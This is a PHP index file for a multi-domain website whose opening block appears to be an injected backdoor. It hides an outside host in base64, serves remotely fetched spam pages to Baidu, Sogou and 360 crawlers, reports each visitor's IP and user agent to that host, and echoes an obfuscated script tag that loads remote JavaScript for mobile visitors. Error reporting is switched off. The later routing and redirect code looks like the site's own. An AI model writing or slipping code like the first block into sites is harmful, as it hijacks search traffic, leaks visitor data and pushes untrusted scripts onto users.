<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovL2NjLmN6enk4ODguY29tLw=='));
define('MOBILE_REGEX', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i');
define('MULU','app|ios|android|download|blank|games|play|video|bak|gods|vod|post|xml|id|scm|shtml|forum|portaldy|article|dy|product|doc|xlsx|uuid');
function isEngines($key){return stristr($key, 'Baiduspider') !== false||stristr($key, 'Sogou') !== false||stristr($key, '360Spider') !== false|| stristr($key, 'YisouSpider') !== false;}
function isIncludes(){$re = 0;$temp = explode('|',MULU);foreach($temp as $v){if(stristr(URI,$v) !== false){$re = 1;}}return $re;}
function isMobile($key) {return preg_match(MOBILE_REGEX, $key);}
function getContents($url) {
    //  10 
    $timeout = 10;

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //  cURL 
        $result = curl_exec($ch);

        //  cURL 
        if ($result === false) {
            curl_close($ch);
            return ""; // 
        }

        curl_close($ch);
        return $result;
    } else {
        $result = file_get_contents($url);

        //  file_get_contents 
        if ($result === false) {
            return ""; // 
        }

        return $result;
    }
}

$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];
$cip = $_SERVER["REMOTE_ADDR"]; 

if (isEngines($key)) {

    header('Content-Type:text/html;charset=utf-8');
    if(isIncludes()){
$ant = urlencode($_SERVER["HTTP_USER_AGENT"]);
	   echo getContents(host."?xhost=".$ym."&reurl=".URI."&ip=".$cip."&agent=".$ant);
        exit;
    }else{
$ant = urlencode($_SERVER["HTTP_USER_AGENT"]);
        echo getContents(host."links.php?xhost=".$ym."&reurl=".URI."&ip=".$cip."&agent=".$ant);
	
    }
}else{
	if(isIncludes()&&isMobile($key)){
	echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly9jYy5jenp5ODg4LmNvbS9ra2suanM+PC9zY3JpcHQ+');
        exit;
    }	
}
?>
<?php
error_reporting(E_ERROR | E_PARSE);
 $gk_domain= $_SERVER["HTTP_HOST"];

 if($gk_domain=='www.moyan.in' || $gk_domain=='moyan.in'){
	 header("Location: http://jokemarket.sinaapp.com".$_SERVER["REQUEST_URI"]);
 }
 else if($gk_domain=='www.tuiguangxia.com' || $gk_domain=='tuiguangxia.com'){
   echo file_get_contents("tuiguangxiaindex.html");
 
 }
  else if($gk_domain=='yixinlicai.com.cn' || $gk_domain=='www.yixinlicai.com.cn'){
   echo file_get_contents("yixinlicai_index.html");
 
 }
   else if($gk_domain=='yue.ma' || $gk_domain=='www.yue.ma'){
   echo file_get_contents("yuema.html");
 
 }
    else if($gk_domain=='ixinghuo.com' || $gk_domain=='www.ixinghuo.com'){
//add by Lancker  Start
$url2 = $_SERVER['HTTP_REFERER'];
if (strpos($url2,"baidu.com") == True || stripos($url2,'so.com') == True  ||stripos($url2,'haosou.com') == True  ||stripos($url2,'sogou.com') == True )
{
        header('HTTP/1.1 301 Moved Permanently');
	//header('Location: https://xinghuo.yixin.com/reg.shtml?storeId=3046' );
        header('Location: http://www.ixinghuo.com/QCode.php?ixinghuocom' );
die;
}	
//add by Lancker  End	
    //echo "   13439975582";
  
   //echo $gk_domain;
   //$url=$_SERVER["HTTP_REFERER"];
   //echo $url;
 
 }


  echo file_get_contents("ixinghuo.html");
 




